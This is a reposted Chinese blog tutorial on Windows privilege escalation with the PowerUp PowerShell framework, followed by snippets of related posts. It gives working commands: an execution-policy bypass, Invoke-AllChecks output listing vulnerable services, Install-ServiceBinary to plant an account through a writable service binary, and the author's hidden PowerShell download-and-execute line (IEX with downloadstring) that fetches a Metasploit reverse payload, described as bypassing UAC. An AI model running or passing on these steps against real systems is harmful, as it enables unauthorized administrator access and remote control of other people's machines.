PowerShell 另类提权,win10测试通过,已绕过UAC!

转载 2016年05月31日 14:05:17

在乌云上看了一篇关于”非常规提权”的做法,试了一下,效果不错.装载过来,顺便加上自己的代码段.

简洁点写,省去大部分,需要阅读原文的请去:http://drops.wooyun.org/tips/11989


0x00 简介


通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。


要使用Powerup,首先需要下载此脚本:Powerup,之后加载此脚本:

E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1

加载完成以后,便可以使用Powerup中的所有模块了。

通过如下命令可以查看所有模块:

PS E:\> Get-Command -Module powerup

看到这个样子就成功了.

成功界面


0x02 实战提权

(我们直接跳到精彩的这里)

测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。

首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:

C:\Windows\system32>net user powerup 1 /add

查看用户权限

执行Invoke-AllChecks:

Invoke-AllChecks

执行以后找到下列问题:

[*] Checking for unquoted service paths...


ServiceName   : CDROM_Detect
Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>

ServiceName   : hMailServer
Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>

[*] Checking service executable and argument permissions...

ServiceName    : wampapache
Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'

ServiceName    : wampmysqld
Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'

可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:

PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123

之后当管理员运行该服务的时候,则会添加我们的账号

这里写图片描述


我自己测试发现了”metasploitPostgreSQL” 这个可以被利用。然后改了下上面代码中的服务名,然后测试成功.我测试是反弹msf代码

Install-ServiceBinary -ServiceName 'metasploitPostgreSQL' -Command "powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring('code_address'))`""
Restore-ServiceBinary -ServiceName 'metasploitPostgreSQL'

然后就成功的上线了,还是绕过了UAC的.屌屌的…

对了,用完就得还原服务哦

Restore-ServiceBinary -ServiceName 'wampapache'

0x03 小结

(我们又跳到小结)

Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。

本文由evi1cg原创并首发于乌云drops,转载请注明

Windows提权的几种姿势

想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行getsystem命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输。但是你不是,对吗?你是一个勇者!!!...
  • moonhillcity
  • moonhillcity
  • 2016年10月20日 16:35
  • 7569

win10获得system权限(超级管理员)

1.昨天安装win10专业版。想删除之前各个盘里面多余的文件,却遇到program Files下面的文件需要system权限。所以便找方法获得了权限。 2.首先,system是超级管理员,不是管理员。...
  • kaka0930
  • kaka0930
  • 2016年05月18日 10:56
  • 19888

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一、 二、Windwos常见提权
  • u011781521
  • u011781521
  • 2017年03月29日 17:23
  • 4427

windows程序提权方法

Windows下应用程序如果需要做一些系统管理或进程管理之类的工作,经常需要将本进程提权(获取权限令牌); 而通常windows下提权方法有两种,主要的方法是: 1)win32API——AdjustT...
  • sowhat_Ah
  • sowhat_Ah
  • 2015年02月04日 12:03
  • 17843

关于本地提权的学习笔记(一):Administrator提权到System

关于本地提权的学习笔记(一):Administrator提权到System 这篇文章是本人在学习过程中做的小笔记以便日后的查看,有何不足望各位大牛指出~ 先说Windows吧,其用户一般分为3大类,...
  • SKI_12
  • SKI_12
  • 2017年01月19日 22:35
  • 2330

Windows系统漏洞提权

假设已经在目标服务器上面上传了webshell 查看目标服务器的相关信息: 用户: 网络、端口: 组件: 接着执行cmd命令: ...
  • fuckcat_2333
  • fuckcat_2333
  • 2016年08月09日 17:43
  • 1061

利用phpStudy 探针 提权网站服务器

声明:本教程仅仅是演示管理员安全意识不强,存在弱口令情况.网站被非法入侵的演示,请勿用于恶意用途! 今天看到论坛有人发布了一个通过这phpStudy 探针 关键字搜索检索提权网址服务器,这个挺简单的....
  • u010984277
  • u010984277
  • 2016年03月04日 08:59
  • 7153

DOS下对普通用户提权为Administrator

net user 用户名 密码 /add 建立用户 net localgroup Administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意Administrat...
  • zxstone
  • zxstone
  • 2008年03月26日 10:01
  • 4541

Powershell 提权框架-Powerup

0x00 简介 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们...
  • qq_27446553
  • qq_27446553
  • 2016年01月13日 16:03
  • 970

runas 命令的使用及RUNAS自动输入密码的方法 20160711

在win2k中,开始→程序→附件 ,找到计算器,按住shift键,点右键,选择“运行方式 ...”,这时候,会弹出对话框,询问你要使用哪个用户身份来运行该程序 。 不知道大家是否使用过win2k的这...
  • qq_27446553
  • qq_27446553
  • 2016年07月11日 22:55
  • 4591
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:PowerShell 另类提权,win10测试通过,已绕过UAC!
举报原因:
原因补充:

(最多只允许输入30个字)